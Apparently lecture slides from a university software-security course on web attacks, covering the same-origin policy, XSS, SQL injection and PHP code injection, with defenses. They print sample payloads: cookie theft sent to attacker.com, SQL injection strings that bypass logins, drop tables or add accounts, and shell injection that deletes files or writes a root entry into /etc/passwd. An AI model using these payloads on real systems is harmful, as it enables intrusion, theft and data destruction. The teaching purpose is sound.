Web Attacks

Lujo Bauer
18-732
Spring 2015
(Slides credit: Collin Jackson)
Where We Are

0. Attacks
   - Control flow hijacking attacks
   - Today: web attacks

1. Software Security Architectures
   - Isolation, sandboxing

2. Security Analysis of Software

3. Language-based Security

4. Run-time Security Enforcement

Stackguard, etc.; SFI; CFI; theory of run-time monitoring
Today

- Web attacks
  - Sandboxing and policy
  - Cross-site scripting (XSS)
  - SQL injection

- Why?
  - To help us understand what we need to prevent

- Later:
  - Session hijacking (next time)
  - Web defenses (if time permits)
  - Static analysis
Web Application Vulnerabilities

% of all software vulnerabilities that are web app vulnerabilities

Browser Sandbox

- **Goal**
  - Run remote web applications safely
  - Limited access to OS, network, and browser data

- **Approach**
  - Isolate sites in different security contexts
  - Browser manages resources, like an OS
Policy Goals

- Safe to visit an evil web site
- Safe to visit two pages at the same time
  - Address bar distinguishes them
- Allow safe delegation
Same Origin Policy

- Origin = protocol://host:port

- Full access to same origin
  - Full network access
  - Read/write DOM
  - Storage
Domain Relaxation

www.facebook.com

facebook.com

chat.facebook.com

facebook.com
Recent Developments

Cross-origin network requests

Access-Control-Allow-Origin: <list of domains>

Access-Control-Allow-Origin: *

Cross-origin client side communication

Client-side messaging via navigation (older browsers)

postMessage (newer browsers)
HTML Image Tags

```html
<html>
  ...
  <p> ... </p>
  ...
  <img src="http://example.com/shuriken.png" height="129" width="147">
  ...
</html>
```

Displays this nice picture ➔ Security issues?
Image Tag Security Issues

- Communicate with other sites

- Hide resulting image
  `<img src="..." height="1" width="1">`

- Spoof other sites
  - Add logos that fool a user

**Important Point:** A web page can send information to any site
CROSS-SITE SCRIPTING
XSS Defined

- An XSS vulnerability is present when an attacker can inject malicious JavaScript into pages generated by a web application

Methods for injecting malicious code:
- Reflected XSS (“type 1”)
  - the attack script is reflected back to the user as part of a page from the victim site
- Stored XSS (“type 2”)
  - the attacker stores the malicious code in a resource managed by the web application, such as a database
- Others, such as DOM-based attacks
Reflected XSS

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Send valuable data

Victim client

Attack Server

Victim Server
Example

- Search field on victim.com:

- Server-side implementation of `search.php`:

```html
<HTML>  
<TITLE> Search Results </TITLE>
<BODY>
Results for `<?php echo $_GET['term'] ?>` : 

.. .

</BODY>  
</HTML>
```

echo search term into response
www.victim.com

Results for

<script>
window.open(http://attacker.com?
... document.cookie ...)
</script>

</html>
Reflected XSS Attack

1. Collect email addr
2. Email version
3. User Victim
4. Click on link
5. Send valuable data

Attack Server

Server Victim
“Universal” XSS

(version <= 7.9)

- PDF documents execute JavaScript code
  
  `http://path/to/pdf/file.pdf#whatever_name_you.want=javascript:code_here`
  
  - code executed in the context of the domain where the PDF file is hosted
  - could be used against PDF files hosted on the local filesystem

Here’s How the Attack Works

1. Attacker locates a PDF file hosted on website.com

2. Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion

3. Attacker entices a victim to click on the link

4. If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes
And If That Doesn’t Bother You...

- PDF files on the local filesystem:
  
  ```
  file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");
  ```

  JavaScript Malware now runs in local context with the ability to read local files...
Reflected XSS Attack

1. User Victim sends bad stuff to the server.
2. The server returns the bad stuff to the User Victim.
3. The User Victim sends an echo request.
4. The server reflects the echoed request back to the User Victim.
5. The User Victim receives valuable data from the server.
Stored XSS

1. Inject store bad stuff script
2. request content
3. receive malicious script
4. send valuable data

User Victim → Download it → Attack Server → Server Victim
MySpace.com (Samy worm)

- Users can post HTML on their pages
  - MySpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - … but can do Javascript within CSS tags:
    `<div style="background:url('javascript:alert(1)')">`
  - And can hide “javascript” as “java\nscript”

- With careful JavaScript hacking:
  - Samy worm infects anyone who visits an infected MySpace page … and adds Samy as a friend
  - Samy had millions of friends within 24 hours

http://namb.la/popular/tech.html
XSS and CSRF (Cross Site Request Forgery)

- In XSS, attacker takes advantage of browser’s trust in web server
  - Server is tricked into producing output that browser interprets in a way that harms user
  - E.g., browser sends private data to attacker

- In CSRF, attacker takes advantage of server’s trust in browser
  - Server trusts that requests from a browser are initiated by the user
  - E.g., transfer $XXX to bank account YYY or befriend A on Myspace
Defenses at Server

1. User Victim visits the website.
2. User Victim receives a malicious page.
3. User Victim clicks on a link.
4. Server Victim echoes user input.
5. Server Victim sends valuable data.

Attack Server
How to Protect Yourself

- The best way to protect against XSS attacks:
  - Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed
  - Do not attempt to identify active content and remove, filter, or sanitize it
    - There are too many types of active content and too many ways of encoding it to get around filters for such content
  - Implement ‘positive’ security policy that specifies what is allowed
    - ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete
Input Data Validation and Filtering

- Never trust client-side data
  - Best: allow only what you expect
- Remove/encode special characters
  - Many encodings, special chars!
  - E.g., long (non-standard) UTF-8 encodings
Output Filtering / Encoding

- Remove / encode (X)HTML special chars
  - &lt; for <, &gt; for >, &quot for “ …

- Allow only safe commands (e.g., no <script>…)

- Caution: “filter evasion” tricks
  - See XSS Cheat Sheet for filter evasion
  - E.g., if filter allows quoting (of <script> etc.), use malformed quoting: <IMG “”><SCRIPT>alert(“XSS”)…
  - Or: (long) UTF-8 encode, or…

- Caution: Scripts not only in <script>!
SQL INJECTION
HI, THIS IS YOUR SON’S SCHOOL. WE’RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR – DID HE BREAK SOMETHING? IN A WAY –

DID YOU REALLY NAME YOUR SON ‘ROBERT’; DROP TABLE STUDENTS; -- ?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE’VE LOST THIS YEAR’S STUDENT RECORDS. I HOPE YOU’RE HAPPY.

AND I HOPE YOU’VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.

http://xkcd.com/
Database Queries with PHP (the wrong way)

- Sample PHP
  
  ```php
  $recipient = $_POST[‘recipient’];
  $sql = "SELECT PersonID FROM People WHERE Username='$recipient' ";
  $rs = $db->executeQuery($sql);
  ```

- Problem:
  - Untrusted user input ‘recipient’ is embedded directly into SQL command
Basic Picture: SQL Injection

1. Attack: Victim Server
   - Attack: Victim SQL DB
   - Receive valuable data

2. Victim Server
   - Unintended SQL query

3. Value: Attack: Victim SQL DB
   - Value: Attacker
CardSystems Attack

- **CardSystems**
  - credit card payment processing company
  - SQL injection attack in June 2005
  - put out of business

- **The Attack**
  - 263,000 credit card #'s stolen from database
  - credit card #'s stored unencrypted
  - 43 million credit card #'s exposed
CardSystems’ Data Left Unsecured
Jun 22, 2005 ... Visa says a company that experienced the largest credit card security breach has disclosed did not meet basic security standards, ...
www.visa.com/cardnews/releases/2005/06/062205_card_systems.cfm - Cached - Similar

CardSystems Solutions settles FTC charges
In the largest known compromise of financial data to date, CardSystems Solutions, Inc. and<br>Processor, Solidus Networks, Inc., doing business as Solidus, have agreed to settle charges that they<br>neglectfully failed to secure data used in electronic card transactions, the Federal Trade Commission<br>announced today. ... Federal Trade Commission - Solidus Networks - Wikipedia, the free encyclopedia

The CardSystems blame game
Hiring a security auditor in light of the CardSystems breach reveals quite a bit about the legal<br>ideals of security consultants.
www.scrump.com/2005/06/20/card_systems_blame_game - Cached - Similar

Oberthur Technologies> Home
Card Systems The world’s second largest provider of security and identification based on<br>smart card technology and associated services for mobile, payment, ...
www.oberthur.com/ - Cached - Similar

Schneider on Security: CardSystems Exposes 40 Million Cardholders
Jun 23, 2005 ... CardSystems says they found the problem, while MasterCard maintains they did; the New York Times agrees with MasterCard.
www.schneier.com/archives/2005/06/23_card_systems.cfm - Cached - Similar

iCARD Systems - Prepaid Visa Cards, Super Gift Cards and Bulk Gift...
Provider of customized payment card services and solutions.
www.icardsystems.com/ - Cached - Similar

Visa cuts CardSystems over security breach - The Register
Jul 19, 2005 ... Payment processor CardSystems Solutions admitted it wasn’t supposed to<br>comprise data, so it comes as no great surprise and a
www.theregister.co.uk/2005/07/19/card_systems_card_leak - Cached - Similar

CyberSource to Take Over CardSystems - Retail
Sep 23, 2005 ... With the nation’s worst credit card security disaster now resume and
www.retailwire.com/article.cfm?article=25070 - Cached - Similar
April 2008 SQL Vulnerabilities

Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the United Nations and in the U.K. government - have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors' machines.

The attackers appear to be breaking into the sites with the help of a security vulnerability in Microsoft's Internet Information Services (IIS) Web servers. In an alert issued last week, Microsoft said it was investigating reports of an unpatched flaw in IIS servers, but at the time it noted that it wasn't aware of anyone trying to exploit that particular weakness.

In a post to one of its blogs, Microsoft said a flaw in IIS: "...our investigation has determined that these attacks are not related to IIS vulnerabilities. SQL injection attacks target a database server's system database and do not involve IIS.

The attacks are not related to IIS vulnerabilities. SQL injection attacks target a database server's system database, and do not involve IIS.

Shadowserver.org has a nice writeup with a great deal more information about the mechanics behind this attack, as does the SANS Internet Storm Center.
Main Steps in This Attack

1. Use Google to find sites using a particular ASP style vulnerable to SQL injection

2. Use SQL injection on these sites to modify the page to include a link to a Chinese site nihaorr1.com
   (don't visit that site yourself!)
   - The site (nihaorr1.com) serves JavaScript that exploits vulnerabilities in IE, RealPlayer, QQ Instant Messenger

Steps (1) and (2) are automated in a tool that can be configured to inject whatever you like into vulnerable sites
Example: Buggy Login Page (ASP)

```vbscript
set ok = execute( "SELECT * FROM Users
    WHERE user=' " & form("user") & " ' 
    AND pwd=' " & form("pwd") & " '");

if not ok.EOF
    login success
else  fail;
```

Is this exploitable?
Web Browser (Client) → Enter Username & Password → Web Server

Web Server → SELECT *
FROM Users
WHERE user='me'
AND pwd='1234'

DB

Normal Query
Bad Input

- Suppose \[ \text{user} = ' \text{or 1=1 -- }' \] (URL encoded)
  
- Then scripts does:
  
  \[
  \text{ok = execute( SELECT} \ \\
  \text{WHERE user= ' ' or 1=1 -- ... )}
  \]
  
  - The “--” causes rest of line to be ignored
  - Now \text{ok.EOF} is always false and login succeeds

- The bad news: easy to log in to many sites this way
Even Worse

- Suppose user = "' ; DROP TABLE Users -- "

- Then script does:

```sql
ok = execute( SELECT ...
WHERE user=''; DROP TABLE Users ... )
```

- Deletes user table
  - Similarly: attacker can add users, reset pwds, etc.
HI, THIS IS YOUR SON'S SCHOOL. WE'RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR - DID HE BREAK SOMETHING? IN A WAY-

DID YOU REALLY NAME YOUR SON 'ROBERT'); DROP TABLE Students;-

OH, YES, LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE'VE LOST THIS YEAR'S STUDENT RECORDS. I HOPE YOU'RE HAPPY.

AND I HOPE YOU'VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.
Even Worse ...

- Suppose user = 
  `; exec cmdshell
    'net user badguy badpwd' / ADD --`

- Then script does:
  ```
  ok = execute( SELECT ...
                  WHERE username= '' ; exec ... )
  ```

  If SQL server context runs as “root”, attacker gets account on DB server
Getting Private Info

View pizza order history:

Month: Jan

View
Getting Private Info

SQL
Query

```
"SELECT pizza, toppings, quantity, date
    FROM orders
    WHERE userid=" . $userid .
    "AND order_month=" . $_GET['month']
```

What if:

```
month = "
0 AND 1=0
UNION SELECT name, CC_num, exp_mon, exp_year
FROM creditcards 
"
### Results

Credit Card Info Compromised

<table>
<thead>
<tr>
<th>Pizza</th>
<th>Toppings</th>
<th>Quantity</th>
<th>Order Day</th>
</tr>
</thead>
<tbody>
<tr>
<td>Neil Daswani</td>
<td>1234 1234 9999 1111</td>
<td>11</td>
<td>2007</td>
</tr>
<tr>
<td>Christoph Kern</td>
<td>1234 4321 3333 2222</td>
<td>4</td>
<td>2008</td>
</tr>
<tr>
<td>Anita Kesavan</td>
<td>2354 7777 1111 1234</td>
<td>3</td>
<td>2007</td>
</tr>
</tbody>
</table>

Done
Preventing SQL Injection

- Never build SQL commands yourself!
  - Use parameterized/prepared SQL
  - Use ORM (object-relational-mapping) framework
Parameterized/prepared SQL

- Builds SQL queries by properly escaping args: ' → \\

Example: Parameterized SQL: (ASP.NET 1.1)
- Ensures SQL arguments are properly escaped

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE
    username = @User AND
    password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request["user"]) ;
cmd.Parameters.Add("@Pwd", Request["pwd"]) ;

cmd.ExecuteReader();
```

- In PHP: bound parameters -- similar function
General Code Injection Attacks

- Enable attacker to execute arbitrary code on the server
- Example: code injection based on `eval()` (PHP)

```php
http://site.com/calc.php (server side calculator)

$in = $_GET['exp'];
eval('$ans = ' . $in . ';');
```

Attack: `http://site.com/calc.php?exp=" 10 ; system('rm *.*') "`

(URL encoded)
Code Injection Using `system()`

- **Example: PHP server-side code for sending email**

  ```php
  $email = $_POST["email"]
  $subject = $_POST["subject"]
  system("mail $email -s $subject < /tmp/joinmynetwork")
  ```

- **Attacker can post**

  ```
  http://yourdomain.com/mail.php?
  email=hacker@hackerhome.net &
  subject="foo < /usr/passwd; ls"
  ```

  **OR**

  ```
  http://yourdomain.com/mail.php?
  email=hacker@hackerhome.net & subject="foo;
  echo "evil::0:0:root:/:/bin/sh" >>/etc/passwd; ls"
  ```
Take-home Message

- Same origin policy, XSS, code injection
- Tons of features and complexity we haven’t covered
- Lots of scary, simple attacks
  - Many due to trusting input
- Constant drive for new features → Many ways to set policy → mistakes that make attacks possible
- We study tools, approaches, and principles for making sure that vulnerabilities are minimized before code is deployed